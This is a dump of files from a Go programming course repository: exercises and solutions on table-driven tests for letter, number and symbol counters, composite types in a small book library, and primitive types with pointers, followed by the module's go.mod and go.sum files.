1 | # Challenge: Table-Driven Tests 2 | 3 | This challenge will have you write table-driven tests for the counters we used in the challenge on interfaces, mainly the letter counter, the number counter, and the symbol counter. 4 | 5 | For your convenience, I've put the counters and their count methods all in the challenge's `begin` directory's `main.go` file. The `main_test.go`, also in that directory, is where you'll write your tests. 6 | 7 | ## Acceptance Criteria 8 | 9 | 1. You have `TestLetterCount`, `TestNumberCount`, and `TestSymbolCount` functions in your test file. 10 | 2. Each of the tests uses an appropriate set of test cases. 11 | 3. You make use of subtests to test each test case in your functions. 12 | 13 | ### Sample Test Output 14 | 15 | ``` 16 | === RUN TestLetterCount 17 | === RUN TestLetterCount/#00 18 | === RUN TestLetterCount/a2_32_^_&/) 19 | === RUN TestLetterCount/812_%6ab// 20 | --- PASS: TestLetterCount (0.00s) 21 | --- PASS: TestLetterCount/#00 (0.00s) 22 | --- PASS: TestLetterCount/a2_32_^_&/) (0.00s) 23 | --- PASS: TestLetterCount/812_%6ab// (0.00s) 24 | === RUN TestNumberCount 25 | === RUN TestNumberCount/#00 26 | === RUN TestNumberCount/abc_1,?/ 27 | === RUN TestNumberCount/abc_12&8_^ 28 | --- PASS: TestNumberCount (0.00s) 29 | --- PASS: TestNumberCount/#00 (0.00s) 30 | --- PASS: TestNumberCount/abc_1,?/ (0.00s) 31 | --- PASS: TestNumberCount/abc_12&8_^ (0.00s) 32 | === RUN TestSymbolCount 33 | === RUN TestSymbolCount/#00 34 | === RUN TestSymbolCount/abc_1,?/ 35 | === RUN TestSymbolCount/abc_12&8_^_ 36 | --- PASS: TestSymbolCount (0.00s) 37 | --- PASS: TestSymbolCount/#00 (0.00s) 38 | --- PASS: TestSymbolCount/abc_1,?/ (0.00s) 39 | --- PASS: TestSymbolCount/abc_12&8_^_ (0.00s) 40 | PASS 41 | coverage: 100.0% of statements 42 | ``` 43 | -------------------------------------------------------------------------------- /09-challenges/testing/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "unicode" 4 | 5 | type letterCounter struct{ identifier string } 6 | 7 | func (l letterCounter) count(input string) int { 8 | result := 0 9 | for _, char := range input { 10 | if unicode.IsLetter(char) { 11 | result++ 12 | } 13 | } 14 | return result 15 | } 16 | 17 | type numberCounter struct{ designation string } 18 | 19 | func (n numberCounter) count(input string) int { 20 | result := 0 21 | for _, char := range input { 22 | if unicode.IsNumber(char) { 23 | result++ 24 | } 25 | } 26 | return result 27 | } 28 | 29 | type symbolCounter struct{ label string } 30 | 31 | func (s symbolCounter) count(input string) int { 32 | result := 0 33 | for _, char := range input { 34 | if !unicode.IsLetter(char) && !unicode.IsNumber(char) { 35 | result++ 36 | } 37 | } 38 | return result 39 | } 40 | -------------------------------------------------------------------------------- /09-challenges/testing/end/main_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "testing" 4 | 5 | func TestLetterCount(t *testing.T) { 6 | var tests = map[string]struct { 7 | input string 8 | want int 9 | }{ 10 | "empty": {input: "", want: 0}, 11 | "one": {input: "a2 32 ^ &/)", want: 1}, 12 | "two": {input: "812 %6ab//", want: 2}, 13 | } 14 | 15 | lc := letterCounter{} 16 | 17 | for _, tc := range tests { 18 | t.Run(tc.input, func(t *testing.T) { 19 | if got := lc.count(tc.input); got != tc.want { 20 | t.Errorf("got %v want %v", got, tc.want) 21 | } 22 | }) 23 | } 24 | } 25 | 26 | func TestNumberCount(t *testing.T) { 27 | var tests = map[string]struct { 28 | input string 29 | want int 30 | }{ 31 | "empty": {input: "", want: 0}, 32 | "one": {input: "abc 1,?/", want: 1}, 33 | "two": {input: "abc 12&8 ^", want: 3}, 34 | } 35 | 36 | nc := numberCounter{} 37 | 38 | for _, tc := range tests { 39 | t.Run(tc.input, func(t *testing.T) { 40 | if got := nc.count(tc.input); got != tc.want { 41 | t.Errorf("got %v want %v", got, tc.want) 42 | } 43 | }) 44 | } 45 | } 46 | 47 | func TestSymbolCount(t *testing.T) { 48 | var tests = map[string]struct { 49 | input string 50 | want int 51 | }{ 52 | "empty": {input: "", want: 0}, 53 | "one": {input: "abc 1,?/", want: 4}, 54 | "two": {input: "abc 12&8 ^_", want: 5}, 55 | } 56 | 57 | sc := symbolCounter{} 58 | 59 | for _, tc := range tests { 60 | t.Run(tc.input, func(t *testing.T) { 61 | if got := sc.count(tc.input); got != tc.want { 62 | t.Errorf("got %v want %v", got, tc.want) 63 | } 64 | }) 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /09-challenges/types-composite/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/types-composite/begin/main.go 2 | package main 3 | 4 | // define an author type with a name 5 | // 6 | 7 | // define a book type with a title and author 8 | // 9 | 10 | // define a library type to track a list of books 11 | // 12 | 13 | // define addBook to add a book to the library 14 | // 15 | 16 | // define a lookupByAuthor function to find books by an author's name 17 | // 18 | 19 | func main() { 20 | // create a new library 21 | // 22 | 23 | // add 2 books to the library by the same author 24 | // 25 | 26 | // add 1 book to the library by a different author 27 | // 28 | 29 | // dump the library with spew 30 | // 31 | 32 | // lookup books by known author in the library 33 | // 34 | 35 | // print out the first book's title and its author's name 36 | // 37 | 38 | } 39 | -------------------------------------------------------------------------------- /09-challenges/types-composite/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Working with Composite Types 2 | 3 | Let's exercise our composite type muscles in this challenge by creating a library to house some books by various authors. This library should allow us to look up books by author's name and print out details about the book such as its title and author. 4 | 5 | You should make use of functions, structs (and their methods), maps, and slices to accomplish this task. 6 | 7 | ## Acceptance criteria 8 | 9 | 1. You have 3 types, an `author` with a `name` field, a `book` with a `title` and `author` fields (use the `author` custom type), and a `library`. 10 | 2. You've defined an `addBook` method on `library` 11 | 3. You've defined a `lookupByAuthorName` method on `library` that accepts a string representing an author's name and that returns a `[]book` 12 | 4. You can initialize a library, authors, and books and fill the library 13 | 5. You can perform book lookups by author name 14 | 6. You can retrieve a book and print its title and it's author's name 15 | -------------------------------------------------------------------------------- /09-challenges/types-composite/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/davecgh/go-spew/spew" 7 | ) 8 | 9 | // define an author type with a name 10 | type author struct { 11 | name string 12 | } 13 | 14 | // define a book type with a title and author 15 | type book struct { 16 | title string 17 | author author 18 | } 19 | 20 | // define a library type to track a list of books 21 | type library map[string][]book 22 | 23 | // define addBook to add a book to the library 24 | func (l library) addBook(b book) { 25 | // add a book to the library 26 | l[b.author.name] = append(l[b.author.name], b) 27 | } 28 | 29 | // define a lookupByAuthor function to find books by an author's name 30 | func (l library) lookupByAuthorName(name string) []book { 31 | // return the list of books by the author 32 | return l[name] 33 | } 34 | 35 | func main() { 36 | // create a new library 37 | lib := library{} 38 | 39 | // add 2 books to the library by the same author 40 | jb := author{name: "James Baldwin"} 41 | 42 | lib.addBook(book{ 43 | title: "The Fire Next Time", 44 | author: jb, 45 | }) 46 | 47 | lib.addBook(book{ 48 | title: "Go Tell It on the Mountain", 49 | author: jb, 50 | }) 51 | 52 | // add 1 book to the library by a different author 53 | lib.addBook(book{ 54 | title: "Meditations", 55 | author: author{name: "Marcus Aurelius"}, 56 | }) 57 | 58 | // dump the library with spew 59 | spew.Dump(lib) 60 | 61 | // lookup books by known author in the library 62 | books := lib.lookupByAuthorName(jb.name) 63 | 64 | // spew.Dump(books) 65 | 66 | // print out the first book's title and its author's name 67 | if len(books) != 0 { 68 | b := books[0] 69 | fmt.Println(b.title, "by", b.author.name) 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /09-challenges/types-primitive/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/types-primitive/begin/main.go 2 | package main 3 | 4 | // use type inference to create a package-level variable "val" and assign it a value of "global" 5 | 6 | func main() { 7 | // create a local variable "val" and assign it an int value 8 | 9 | // print the value of the local variable "val" 10 | 11 | // print the value of the package-level variable "val" 12 | 13 | // update the package-level variable "val" and print it again 14 | 15 | // print the pointer address of the local variable "val" 16 | 17 | // assign a value directly to the pointer address of the local variable "val" and print the value of the local variable "val" 18 | } 19 | -------------------------------------------------------------------------------- /09-challenges/types-primitive/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Working with Primitive Types 2 | 3 | This challenge will help reinforce your knowledge of primitive types, scoping rules, and getting more comfortable with pointers in the process. 4 | 5 | ## Acceptance Criteria 6 | 7 | Follow each step below to produce output similar to the sample. 8 | 9 | 1. Declare a package-level variable `val` with inferred type `string` with an assigned value 10 | 2. In `main`, use short variable declaration for a local variable `val` and assign it an integer 11 | 3. Print out the type and value of the local `val` 12 | 4. Write a function to print out the type and value of the global `val` 13 | 5. Write a function to update the global `val` 14 | 6. Print out the type and value of a dereference local `val` 15 | 7. Assign a value to the local `val` directly to the underlying memory location you - you will need to use a pointer dereference for this. 16 | 8. Print out the local `val` to show you managed to update the underlying memory location. 17 | 18 | ## Sample expected output: 19 | 20 | ``` 21 | int, local val = 42 22 | global val = global 23 | global val = updated global 24 | *int, local &val = 0xc00001a0a8 25 | local val = 100 26 | ``` 27 | -------------------------------------------------------------------------------- /09-challenges/types-primitive/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | // use type inference to create a package-level variable "val" and assign it a value of "global" 6 | var val = "global" 7 | 8 | func main() { 9 | // create a local variable "val" and assign it an int value 10 | val := 42 11 | 12 | // print the value of the local variable "val" 13 | fmt.Printf("%T, local val = %v\n", val, val) 14 | 15 | // print the value of the package-level variable "val" 16 | printGlobal() 17 | 18 | // update the package-level variable "val" and print it again 19 | updateGlobal() 20 | printGlobal() 21 | 22 | // print the pointer address of the local variable "val" 23 | fmt.Printf("%T, local &val = %v\n", &val, &val) 24 | 25 | // assign a value directly to the pointer address of the local variable "val" and print the value of the local variable "val" 26 | *(&val) = 100 27 | fmt.Println("local val = ", val) 28 | } 29 | 30 | func updateGlobal() { 31 | val = "updated global" 32 | } 33 | 34 | func printGlobal() { 35 | fmt.Println("global val = ", val) 36 | } 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-for-experienced-programmers 2 | Go for Experienced Programmers 3 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/moistrelati/go-for-experienced-programmers 2 | 3 | go 1.23.5 4 | 5 | require ( 6 | github.com/aws/aws-sdk-go v1.55.6 7 | github.com/davecgh/go-spew v1.1.1 8 | github.com/gorilla/mux v1.8.1 9 | github.com/jboursiquot/go-in-3-weeks v0.0.0-20240415154639-3a9225b345ac 10 | github.com/jboursiquot/go-proverbs v0.0.2 11 | github.com/jboursiquot/stringutils v0.0.0-20200521133053-e946c1138532 12 | golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 13 | golang.org/x/sync v0.10.0 14 | golang.org/x/time v0.9.0 15 | ) 16 | 17 | require github.com/jmespath/go-jmespath v0.4.0 // indirect 18 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/aws/aws-sdk-go v1.55.6 h1:cSg4pvZ3m8dgYcgqB97MrcdjUmZ1BeMYKUxMMB89IPk= 2 | github.com/aws/aws-sdk-go v1.55.6/go.mod h1:eRwEWoyTWFMVYVQzKMNHWP5/RV4xIUGMQfXQHfHkpNU= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= 7 | github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= 8 | github.com/jboursiquot/go-in-3-weeks v0.0.0-20240415154639-3a9225b345ac h1:zN9m3e8T6FB9nV2f27G9pyGYyP40sIWpb3LkhBGG+fA= 9 | github.com/jboursiquot/go-in-3-weeks v0.0.0-20240415154639-3a9225b345ac/go.mod h1:sesvhfMNXNhUuGf41LW0aapTCMXbSdGvDRlL7ciGspY= 10 | github.com/jboursiquot/go-proverbs v0.0.2 h1:LlJpbPfW6+HThOwZR+VsJwpRQL6xHOLsWjXJSZV2N40= 11 | github.com/jboursiquot/go-proverbs v0.0.2/go.mod h1:Fkb7X/GdAApOZjs+v4eREbG/UnzgHiLOLq7RbkKUf3U= 12 | github.com/jboursiquot/stringutils v0.0.0-20200521133053-e946c1138532 h1:/qihHi1/+jIKOrevypuZjeyjUbSYY5Y1Dl59gCk89zo= 13 | github.com/jboursiquot/stringutils v0.0.0-20200521133053-e946c1138532/go.mod h1:uNnl6RENFI2saDKeZqsWG3HHUh7nz2DOGwc7KeXr7zw= 14 | github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= 15 | github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= 16 | github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= 17 | github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= 18 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 19 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 20 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 21 | golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 h1:yqrTHse8TCMW1M1ZCP+VAR/l0kKxwaAIqN/il7x4voA= 22 | golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8/go.mod h1:tujkw807nyEEAamNbDrEGzRav+ilXA7PCRAd6xsmwiU= 23 | golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= 24 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 25 | golang.org/x/time v0.9.0 h1:EsRrnYcQiGH+5FfbgvV4AP7qEZstoyrHB0DzarOQ4ZY= 26 | golang.org/x/time v0.9.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= 27 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 28 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 29 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 30 | --------------------------------------------------------------------------------